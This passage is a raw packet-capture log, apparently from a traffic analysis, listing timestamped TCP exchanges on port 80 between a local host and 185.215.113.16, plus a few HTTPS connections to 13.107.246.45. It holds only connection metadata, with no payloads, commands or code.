Nov 21, 2024 00:03:24.563770056 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.563811064 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.563816071 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.563853025 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.564412117 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.564534903 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.565053940 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.565116882 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.565174103 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.565222025 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.565762043 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.565874100 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.566426039 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.566438913 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.566484928 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.566513062 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.567150116 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.567197084 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.567255974 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.567904949 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.567918062 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.567991018 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.568417072 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.568567038 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.569089890 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.569137096 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.569214106 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.569253922 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.569796085 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.569942951 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.570432901 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.570488930 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.570519924 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.570580959 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.571115971 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.571191072 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.571803093 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.571883917 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.571904898 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.571930885 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.572432995 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.572556019 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.573120117 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.573182106 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.573214054 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.573256016 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.573887110 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.573899031 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.573954105 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.574493885 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.574603081 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.574671984 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.575201035 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.575306892 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.575356960 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.575849056 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.576004982 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.576549053 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.576601982 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.576634884 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.576678038 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.577177048 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.577189922 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.577234030 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.577851057 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.577878952 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.578502893 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.578551054 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.578641891 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.578695059 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.579163074 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.579274893 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.579346895 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.579843998 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.580003977 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.580517054 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.580571890 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.580610991 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.580653906 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.581196070 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.581315041 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.581857920 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.581974030 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.582001925 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.582024097 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.582521915 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.582638979 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.582719088 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.583348989 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.583416939 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.583488941 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.584764957 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.584778070 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.584801912 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.584811926 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.584815025 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.584861994 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.585215092 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.585350990 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.585925102 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.585948944 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.585982084 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.586007118 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.586514950 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.634706974 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.650691032 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.650760889 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.650860071 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.650871038 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.650976896 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.651544094 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.651609898 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.651614904 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.651695013 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.652229071 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.652287960 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.652873993 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.652928114 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.652956963 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.653045893 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.653563023 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.653625965 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.653707981 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.654299974 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.654412985 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.654890060 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.654911995 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.654979944 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.655584097 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.655673027 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.656244993 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.656301022 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.656348944 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.656388998 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.656965971 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.657061100 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.657593966 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.657635927 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.657650948 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.657684088 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.658242941 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.658329010 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.658385038 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.658910036 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.659020901 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.659637928 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.659687042 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.659822941 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.659867048 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.660274029 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.660340071 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.660936117 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.660959005 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.660988092 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.661015987 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.661623001 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.661689043 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.661773920 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.662241936 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.662324905 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.662942886 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.662995100 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.663074017 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.663115025 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.663626909 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.663693905 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.664304972 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.664349079 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.664356947 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.664391041 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.664977074 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.665049076 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.665272951 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.665632963 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.665673971 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.666337967 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.666405916 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.666415930 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.666456938 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.666975975 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.667073011 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.667136908 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.667663097 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.667752028 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.667808056 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.668332100 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.668411016 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.668459892 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.669044018 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.669112921 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.669152975 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.669657946 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.669720888 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.669763088 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.670336962 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.670388937 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.670511961 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.671008110 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.671040058 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.671132088 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.671740055 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.671786070 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.672238111 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.672369003 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.672476053 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.672532082 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.673038006 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.673101902 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.673150063 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.673779964 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.673803091 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.673861980 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.674360991 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.674501896 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.674966097 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.675107956 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.675122023 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.675173044 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.675745010 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.675776958 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.675966024 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.676404953 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.676460028 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.676533937 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.677103996 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.677122116 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.677314043 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.677757025 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.677824974 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.678030968 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.678406000 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.678458929 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.678608894 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.679074049 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.679143906 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.679193020 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.679817915 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.679920912 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.679971933 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.680445910 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.680515051 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.680566072 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.681078911 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.681199074 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.681247950 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.681797028 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.681921959 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.682070017 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.682414055 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.682434082 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.682473898 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.683079004 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.683223963 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.683475971 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.683768988 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.683892965 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.683934927 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.684437990 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.684525967 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.684633017 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.685112000 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.685247898 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.685296059 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.685750008 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.728426933 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.740235090 CET	443	49766	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:24.741910934 CET	49766	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:24.741921902 CET	443	49766	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:24.742358923 CET	49766	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:24.742363930 CET	443	49766	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:24.770515919 CET	443	49767	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:24.771549940 CET	49767	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:24.771588087 CET	443	49767	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:24.771962881 CET	49767	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:24.771976948 CET	443	49767	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:24.853785992 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.853816986 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.853889942 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.853908062 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.853924036 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.853981018 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.854310036 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.854340076 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.854357958 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.854393005 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.854437113 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.854479074 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.855252028 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.855300903 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.855344057 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.855389118 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.855396986 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.855629921 CET	443	49768	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:24.855698109 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.856122971 CET	49768	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:24.856144905 CET	443	49768	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:24.856221914 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.856266975 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.856281042 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.856326103 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.856344938 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.856386900 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.856573105 CET	49768	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:24.856583118 CET	443	49768	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:24.857194901 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.857250929 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.857268095 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.857284069 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.857315063 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.857345104 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.858150959 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.858211040 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.858246088 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.858268976 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.858313084 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.859127998 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.859174013 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.859175920 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.859186888 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.859242916 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.859268904 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.859309912 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.860131025 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.860158920 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.860174894 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.860222101 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.860234022 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.860280037 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.861084938 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.861119032 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.861131907 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.861183882 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.861247063 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.861289978 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.862092972 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.862123013 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.862139940 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.862169981 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.862193108 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.862252951 CET	49760	80	192.168.2.7	185.215.113.16
